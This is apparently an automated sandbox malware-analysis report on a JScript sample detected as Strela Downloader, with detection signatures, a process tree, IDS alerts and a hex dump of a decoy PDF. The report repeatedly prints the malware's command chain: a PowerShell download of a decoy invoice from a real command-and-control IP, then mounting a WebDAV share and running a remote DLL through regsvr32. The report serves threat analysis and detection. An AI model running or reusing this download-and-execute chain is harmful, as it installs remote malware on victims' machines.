Edit tour

Windows Analysis Report
262192623320272411.js

Overview

General Information

Sample name:	262192623320272411.js
Analysis ID:	1589008
MD5:	55b90eac1dcf20bfaa9363249f996768
SHA1:	80149d5983b956bd2595f79ec144397e85bd257c
SHA256:	e3ae3b4ed2eadb1908fadbf857129e28e1c62a54d8d1e0508e2b30a53ff914f6
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6816 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\262192623320272411.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 5392 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4424223369068.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1668 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3476 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 3532 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5588 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 2940 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1552,i,8595018462666646001,11327544726645323743,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 1132 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5256 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6720 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6816	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4424223369068.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5392, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3476, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4424223369068.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5392, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3476, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\262192623320272411.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\262192623320272411.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\262192623320272411.js", ProcessId: 6816, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5256, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49743

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4424223369068.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4424223369068.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\262192623320272411.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6816, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4424223369068.dll, ProcessId: 5392, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4424223369068.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4424223369068.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\262192623320272411.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6816, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4424223369068.dll, ProcessId: 5392, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4424223369068.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4424223369068.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\262192623320272411.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6816, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4424223369068.dll, ProcessId: 5392, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4424223369068.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4424223369068.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\262192623320272411.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6816, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4424223369068.dll, ProcessId: 5392, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4424223369068.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4424223369068.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\262192623320272411.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6816, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4424223369068.dll, ProcessId: 5392, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\262192623320272411.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\262192623320272411.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\262192623320272411.js", ProcessId: 6816, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4424223369068.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5392, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3476, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1132, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5256, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6720, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1132, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5256, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4424223369068.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4424223369068.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\262192623320272411.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6816, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4424223369068.dll, ProcessId: 5392, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:21:26.390811+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.6	49721	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:21:29.323897+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49743	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:21:26.390811+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49721	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 262192623320272411.js

Virustotal: Detection: 9%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 262192623320272411.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 262192623320272411.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.6:49721 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49743 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:21:26 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 